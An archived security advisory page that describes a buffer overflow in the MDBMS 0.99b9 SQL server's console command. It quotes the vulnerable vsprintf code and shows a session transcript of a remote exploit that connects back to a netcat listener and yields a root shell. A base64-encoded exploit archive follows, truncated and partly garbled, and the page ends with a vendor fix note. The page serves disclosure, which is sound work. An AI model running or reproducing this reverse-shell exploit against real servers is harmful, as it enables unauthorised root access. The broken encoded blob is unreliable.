Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: mdbms2.htm

MDBMS 0.99b9 and below exploitable buffer overflow



Vulnerability

    MDBMS

Affected

    MDBMS 0.99b9 and below

Description

    teleh0r  found  following.   MDBMS   is  a  SQL  database   server
    (currently) for UNIX systems.   Version 0.99b9 and below  versions
    contain an exploitable buffer overflow  in the handling of the  \s
    console command.

    When a  user passes  large buffers  to the  server in  the form of
    multiple lines, these are  appended to the end  of each other.   A
    subsequent call to the \s command causes the overflow.

    Below is faulty code (from interface.cc):

       void user::uprintf(char *s, ...)
       {
         char b[10000];
         int len=strlen(outbuf), newlen;
         va_list ap;
         va_start(ap,s);
         vsprintf(b,s,ap); <----
         va_end(ap);
         newlen=strlen(b);
         while (newlen+len+10>=outsize) outbuf=(char*)realloc(outbuf,outsize+=1000);
         strcat(outbuf,b);
         FD_SET(fd,&parent->wmask);
       }

    Exploit example:

       [teleh0r@localhost mdbms]$ ./mdbms-pms.pl
       
       -- Remote code execution exploit - MDBMS <= 0.99b
       -- <teleh0r@digit-labs.org> - Copyright (c) 2001
       
       Usage: ./mdbms-pms.pl -t <hostname> -b <back>
       
            -t <hostname>    : hostname to test
            -b <back>        : connect back to ip
            -p <port>        : port (default: 2223)
            -d <delay>       : delay before timeout
            -o <offset>      : offset
            -h               : return to heap
       
       [teleh0r@localhost mdbms]$ nc -l -v -p 1337 &
       [1] 2070
       listening on [any] 1337 ...
       
       [teleh0r@localhost mdbms]$ ./mdbms-pms.pl -t 127.1 -b localhost -h
       
       -- Remote code execution exploit - MDBMS <= 0.99b
       -- <teleh0r@digit-labs.org> - Copyright (c) 2001
       
       -> Connected to: 127.1 / MDBMS V0.99b9 ready.
       -> Address : 0x302027d / xor-mask: 0x2020202
       -> Return  : 0x80cfe76 / using the heap ...
       -> Sending payload: ...
       
       -> * Successfully sent payload - good luck!
       
       connect to [127.0.0.1] from localhost.localdomain [127.0.0.1] 1189
       [teleh0r@localhost mdbms]$ %
       nc -l -v -p 1337
       whoami; uname -mnrsp
       root
       Linux localhost.localdomain 2.4.2-2 i686 unknown
       ...

    Exploit code attached (MIMED):

    ---
    Content-Type: application/octet-stream; name="mdbms.tar.gz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="mdbms.tar.gz"
    Content-MD5: x0xnO/SGP+RgmnELFfaHzw==
    
    H4sIALdvJjsAA+w7aXfbxq79av6KieLElKOFpDZbXm7SJG1zbrYXu32913Z1uIwk1hTJcLGl
    Jrm//QGYGS7yEve1zX1LmONIBAHMDIABMCC08JxF2ubLOIj8rPvNX3IZRt8YDQbwSdf6p/g+
    6plmvz8cDvvfGKbVG4y+YYO/Zjr1K08zO2HsmySKstvwPvf8f+m1qOlf3MWLtBMHf94Yhmnc
    on/TAvOQ+h+O+qMh4PeHZv8bZvx5U7j5+n+u//v3unmadB0/7MY8CTTtPvvI3vFFlHH2NPI4
    e77kbp75Ucj8kL169u2rI3bEkwuesP0DZnR2dx0ieRrFq8SfzTOmu01mgVqZs2L7GQ/43Ege
    e/7Mz9qB7aSdKJkdEsmTIGBEkrKEp8jT6zB8Qk+/zWdsGuWhB3zGTPJpscu5H3B2GSXnfjhj
    WTTj2RzmQiSXfjZni7ztdAouTxPu+Vk6ZlM/naeZ//43GMsOghXzxJApcwkFxpJcgB+7sIPc
    dmCgOQ9i+I/N7ZTN/AsesgXvsGOAODyILgVFCliBi8LyU7aw4ROWXg7YZu6cu+csyjNC73QL
    gm4QLtuuY7vn7YWdnndcmkYa5YnLmQ1rJwKPZ7YfpB1Ny1POjiL3nGd7LE0AYY9A3/MsirPx
    +Cjz9tiMblJ9Kxs743jsjaPxfKvFTh/Yyay5p2n+lOken/oh9/RNgH3YyrY+NZvsA9uEnQDU
    7IAVcPbpGnxH4ePEGSvwnRvwY4UfR0lWwY9vwPcUvscDe1XiezfgRwo/mk7TyvyjG/DnCn/O
    7bgynznhE8G9kkQK5eFDsd4mkT7MU3vGJ2gee0CzaQC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VWdanO
    OCFhQeok3D4vh1YdcWo3rK1569TYapa2NpWzhADAE8hiGjQCFrJtFuaQqSJptalBrQpnwCmH
    Xo3l4mhRsk+9WBOsRSTftXy8OK6E6k1TkfZudwta0Ikbr/TSYOU7nOZDsZZ1/Uj80mgLfAS1
    KmZbbYigvaQJs/ZDnfZCMnNbarsks4uTM2XotOf07WlTxxYWnW63mzcHOtlGI1JGP6QMkFEv
    StGBqONo2OtkKdO9UTm5KII/SCHaCgkeCqHjHCkZWnMUbfNqqysojwSNggBeuTh6ER/5OurG
    1cgWIzXxsl+HJmCetdhD2WdzgK1bsjnx5vU8gBOfH8JZzvfKI6ftwHkatsy9cmkm5XlX1lQ1
    ssIPrplTeQqTJid31HV+k+beSScioa+EwlY1xJF/rAS3VjVorZl+kodXzFs4L71mg8Kj/7tL
    HF+vW66133/mbefP/xHwnX//2xv0R/T7z55lmV/rv1/iukb/BMKW1z9W9S2vz9R/rb45kPrv
    jUZGD/AHPWv0tf77JS5Mykp9FzW5VwhjF/R68Wf1mlO9/tKXO3AkaBfIx3AMgKQpCseA6f1g
    Z2zUMQRbycI0ZDmyvApMU/K>

Transfer interrupted!

SHYT3dRLhLSf bye6qZsIqT/TUMRuaShSEy8n2qJHoqdomocuvX+WrUHsQ7V96BMSX859GKGQVLUXRNVjv084 xx9ML37Fwi4M+xj+8+y043GJUenjqOuly9pt9oxALwFEOrz3ePOeKOH+/kpNluBLhhosD31A rcMg6QqjK8Ucb40bZElRcHFLbefzpSAsHWWrmKd3qygRur/g12BntignqfrA6zdvN4xl3ywA b9+8O97AlosS5cdXP/348vWGUUDefPfd0fNjAIgjs/jhG+XukIQRaHGOvxrG3L+EUM5WB0Gy ppDwmBCBbcqauTxo7KnGM8jTMcMTZTA8+PYNwzoTZCgZ/E1Ci8qhe1r98AxjyONBAScmldrZ AaaWgb2wZ4nNHDgn0zOm8ssN+RNRrBUNsF60K8pMWAHqD7Ge1SCcvoS5vfKZ4Sp4g9JTwkP4 DsA8+M7F97K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 chy27xQVPjM099OLz7y8IiUx9QcgmMXLasSpkGIxQGsgVB+7zDb7twP7Q552q6dr1Fmi+vjq Dg44SDYc+nmPMbjt5xVeH5y6bhJLJA+NEFRDbC3IQMCDiTN3LmH8toZk4kpYgU+yboe3NTeb +4LOA8YLzwofztzezJceyoEChiifO38/3paq2vuxug7MKRociXJBC6kcz8oaN7TarPaljWJC EDQWpvMNCfHKksqFlSjUP68zJrk2ceOIco5Ct4yGj/uP8/ITRvwT31vky5XOuXIJdpeuQ6ZE +Nk1fCqMmgSfgXnOMjI9XGls7wQLilNacpxTn6WJMSux+AP69gqPBEo452/asMkm9UrOQshU wGh5W5R9SkmWZBn9jacdm8LxKPiIVjtvNDCCvmtmPWHWtmA7w13SYyYVF5xLiHv14TVkcouq Cg0DSMtHAU+il/BHaljH2pIpBVN+hQPFycm7k2P6qB50B0pNxnXmpo87Lv3fzliFQqFQKBQK hUKhUCgUCoVCoVAoFAqFQqFQKBQKheKZ+ANfMPPBAHgAAA== -----
Solution mu-b also found a buffer overflow in the "create database" system. This was actually caused by a sprintf that generated the name of the management variable. This has been fixed - now table and database names can no longer be larger than 128 bytes. Information about the overflows was sent to marty@hinttech.com. He has now fixed the problems, and new versions of MDBMS can be found at: http://www.hinttech.com/mdbms/


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH